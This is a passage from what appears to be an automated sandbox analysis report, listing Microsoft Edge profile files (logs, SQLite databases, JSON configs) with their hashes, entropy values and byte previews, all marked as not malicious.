C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3bb42.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3bfd6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF485a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b72778ec-d31c-439e-a045-1a9a70d6df2b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\edcc29d5-9d50-49a9-a1c1-568e8b8de97f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.21814383595871
Encrypted:	false
SSDEEP:	12:33XSBIvVaYebvqBZFUt823t/+23r5OaYebvqBaJ:3SoVaYebvyg8wOaYebvL
MD5:	D56688070B97CE7B991402F083780CFF
SHA1:	9A523E8C705F0EC683A9FBEB48FCFFEC707F40B3
SHA-256:	A9F26E7618DFECC8AAFCC5C52405E9A0F52E0DBF73492DBB8AE3365583078076
SHA-512:	ADA90F3882B91E11099861F7D4F83E66E42267CC363853D9B5ECA0F37B2FFA38F87C4D9557AFAF0FA0CE62C96E5F8D44AB6417518353D6E919C8DDA4B9C27526
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:44.942 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-22:41:44.943 1748 Recovering log #3.2024/11/17-22:41:44.947 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.21814383595871
Encrypted:	false
SSDEEP:	12:33XSBIvVaYebvqBZFUt823t/+23r5OaYebvqBaJ:3SoVaYebvyg8wOaYebvL
MD5:	D56688070B97CE7B991402F083780CFF
SHA1:	9A523E8C705F0EC683A9FBEB48FCFFEC707F40B3
SHA-256:	A9F26E7618DFECC8AAFCC5C52405E9A0F52E0DBF73492DBB8AE3365583078076
SHA-512:	ADA90F3882B91E11099861F7D4F83E66E42267CC363853D9B5ECA0F37B2FFA38F87C4D9557AFAF0FA0CE62C96E5F8D44AB6417518353D6E919C8DDA4B9C27526
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:44.942 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-22:41:44.943 1748 Recovering log #3.2024/11/17-22:41:44.947 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1560542082087935
Encrypted:	false
SSDEEP:	6:HUT0u5cL+q2PN723oH+TcwtpIFUt8YUT0uA1Zmw+YUT0uWLVkwON723oH+TcwtaQ:3urvVaYebmFUt82uA1/+2uC5OaYebaUJ
MD5:	D9A7442B386A855D87822F89E609F53D
SHA1:	6A4808B301833E1B1CD232C4DC3E33C275EB2D9A
SHA-256:	83A3BD666140DA21AB34F8645975F56A48D1F82D5A6D5344D5BEEBB3C1D11EE1
SHA-512:	6FC6D155B59970F5EEB6B195FB62B1442D6EB337F5FA6F61BDB12C9CBB46E6740B580D61846B4A3C92C46BF2355725AB4F7B12D9848248C09D905C950DFC433A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.240 1ce8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-22:41:25.284 1ce8 Recovering log #3.2024/11/17-22:41:25.284 1ce8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1560542082087935
Encrypted:	false
SSDEEP:	6:HUT0u5cL+q2PN723oH+TcwtpIFUt8YUT0uA1Zmw+YUT0uWLVkwON723oH+TcwtaQ:3urvVaYebmFUt82uA1/+2uC5OaYebaUJ
MD5:	D9A7442B386A855D87822F89E609F53D
SHA1:	6A4808B301833E1B1CD232C4DC3E33C275EB2D9A
SHA-256:	83A3BD666140DA21AB34F8645975F56A48D1F82D5A6D5344D5BEEBB3C1D11EE1
SHA-512:	6FC6D155B59970F5EEB6B195FB62B1442D6EB337F5FA6F61BDB12C9CBB46E6740B580D61846B4A3C92C46BF2355725AB4F7B12D9848248C09D905C950DFC433A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.240 1ce8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-22:41:25.284 1ce8 Recovering log #3.2024/11/17-22:41:25.284 1ce8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678307794699584
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM2SA1LyKOMq+8iP5GDHP/0jMVumq:Kq+n0J291LyKOMq+8iP5GLP/07
MD5:	06FE986FB94F303F131557E062FC6FA7
SHA1:	56B63A2FF7FA33B867E43119FE3CD1B4C16C7D79
SHA-256:	989C44AD1A59FB6E1560F6FFD5F6DCC4E0F99156401D7344ABEDD12A33DEA1AC
SHA-512:	C1ACC4C37B8B3183C74C37CD0B30F36622F420812636AA5B51D0BEE991EA3FB59D77412A530F9E01481A71822E5C9B79B0D43766D7033A876FC8E002CB05EB60
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46721642361147425
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0MjL:v7doKsKuKZKlZNmu46yjx0o
MD5:	C87937A4096E6A4B07BF6D6A4E0D7604
SHA1:	29867B835536373BB36D77FAF9477E3B6BC854DB
SHA-256:	7B8F0F9BC71F535B4689C7B2B3D06D3F4B10193A1355E99534AEEF8567D7A6D6
SHA-512:	6A39757686B42ABDE8DDF9B39E472ECC93A8A2C738E7D0304D73231284B86171CEF6A562173513B5A22C18EA3F248F89A2DDA3597D55C1F99261F403913209EC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Reputation:	unknown
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ef9c064e-8fb0-49ba-ba9b-2d1e023eb173.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10262939497598701
Encrypted:	false
SSDEEP:	6:Gu0Myh0Myz89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl0:+z+zzspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	CC21B72AB2E6DBC7367E86FA84175C6B
SHA1:	0747C96317943981708C19175D0B012CF4A815D4
SHA-256:	31D8A4B145169357B7AF16762E6390D12FC9B8A4CCADE7F2226E2115E65B39AD
SHA-512:	2D5A4F39B10C36785FA52487CD9E7C121B51A5802C43CF4D35863F9FE0EEF7D94CEACD549C7A5386A7F8D24A116C66D13649D9FFD41E2BEAA167798EAA755287
Malicious:	false
Reputation:	unknown
Preview:	..-.............M..........Q...$J...V....... u...-.............M..........Q...$J...V....... u.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8880321543151194
Encrypted:	false
SSDEEP:	384:TcDxupb9eFHRBH4/uHUsHEdH+8HXW1/H1v80ynyQ/y5y6DyIxyi1:Utbm1+fn
MD5:	CFCDE96752A2F3C0243EF372E89ED1DC
SHA1:	2A3ABA3B8148AE657C40D9CFA1E2C88D528EB2BA
SHA-256:	CBC47C5667A6631CA0ACB91DA4EA5BAA5576A979640AEBBC217AE7270A88465D
SHA-512:	A600A63BC414B3DF4C7B3BB70057C9934C5329E08FB0F0A3282974E1247247163387EC13F011288322D5514B533CEA1323D02B46AF4013FEAB9D07FB24F85862
Malicious:	false
Reputation:	unknown
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.5551169083790577
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuqllJbb84:pHayklD
MD5:	82C2EBEF3A2E2E1B7D816FE054347425
SHA1:	9774A5B11FBA03C8938B30193B6DA0E36B80D6E4
SHA-256:	5229991876FB8C40023536CD847032415D2461445A0B33FFD0C00C4A90BE3380
SHA-512:	C4471A3423E032F28195DD6DE45720CAE4D312036ADECC757E7C1E10FB31DE48B65B41AE4B04CE5F0EFD53D676779FC3FBA1C574930675959C7AFCCB336DDFD3
Malicious:	false
Reputation:	unknown
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................M.:...............#38_h.......6.Z..W.F.....KHl.....KHl........gV.e................V.e.................8.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2258645936223065
Encrypted:	false
SSDEEP:	6:HUT0uiEq2PN723oH+TcwtfrK+IFUt8YUT0uRZmw+YUT0uLkwON723oH+TcwtfrUQ:3ufvVaYeb23FUt82uR/+2uL5OaYeb3J
MD5:	AB6215EA8D09D77E2F60FA0879C280D6
SHA1:	391C16F00A349C55A203AE39655CCF944B229288
SHA-256:	2DC9FDF37D5B17A9CB82C25CAB44A977E8717A63B5B51F58F611622C3FE138E4
SHA-512:	706F863500BC3E689B368BDBAA81E9090496328E339EA037BE07A3E2C6569441C515E06BB3ECBCC033E1CA57E3EF64EB0B56DF145E22B37544605B118C397D2E
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.886 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-22:41:25.887 1750 Recovering log #3.2024/11/17-22:41:25.887 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2258645936223065
Encrypted:	false
SSDEEP:	6:HUT0uiEq2PN723oH+TcwtfrK+IFUt8YUT0uRZmw+YUT0uLkwON723oH+TcwtfrUQ:3ufvVaYeb23FUt82uR/+2uL5OaYeb3J
MD5:	AB6215EA8D09D77E2F60FA0879C280D6
SHA1:	391C16F00A349C55A203AE39655CCF944B229288
SHA-256:	2DC9FDF37D5B17A9CB82C25CAB44A977E8717A63B5B51F58F611622C3FE138E4
SHA-512:	706F863500BC3E689B368BDBAA81E9090496328E339EA037BE07A3E2C6569441C515E06BB3ECBCC033E1CA57E3EF64EB0B56DF145E22B37544605B118C397D2E
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.886 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-22:41:25.887 1750 Recovering log #3.2024/11/17-22:41:25.887 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Reputation:	unknown
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.206031911450921
Encrypted:	false
SSDEEP:	6:HUT0uxFIq2PN723oH+TcwtfrzAdIFUt8YUT0uMZmw+YUT0uskwON723oH+Tcwtfa:3uxFIvVaYeb9FUt82uM/+2us5OaYeb2J
MD5:	5423DC8A7A7FAB8626EE2D79485F3244
SHA1:	63432063C0709E67AC8DBEFF18A56A25E081C493
SHA-256:	FBE130C62F550E2425BB807A0D44CD65142EB38392CBB93B04BEA3071FC96478
SHA-512:	B695CC8A882DA61881ED086CB64B7CF5DE342169CAC7A4DC7490F0B50AD0AE7F434BF2F7B99769392C79B69DD8E171A1D9FBD0752FBE85C38FED8BCD2B094BF4
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.883 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-22:41:25.884 1750 Recovering log #3.2024/11/17-22:41:25.884 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.206031911450921
Encrypted:	false
SSDEEP:	6:HUT0uxFIq2PN723oH+TcwtfrzAdIFUt8YUT0uMZmw+YUT0uskwON723oH+Tcwtfa:3uxFIvVaYeb9FUt82uM/+2us5OaYeb2J
MD5:	5423DC8A7A7FAB8626EE2D79485F3244
SHA1:	63432063C0709E67AC8DBEFF18A56A25E081C493
SHA-256:	FBE130C62F550E2425BB807A0D44CD65142EB38392CBB93B04BEA3071FC96478
SHA-512:	B695CC8A882DA61881ED086CB64B7CF5DE342169CAC7A4DC7490F0B50AD0AE7F434BF2F7B99769392C79B69DD8E171A1D9FBD0752FBE85C38FED8BCD2B094BF4
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.883 1750 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-22:41:25.884 1750 Recovering log #3.2024/11/17-22:41:25.884 1750 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

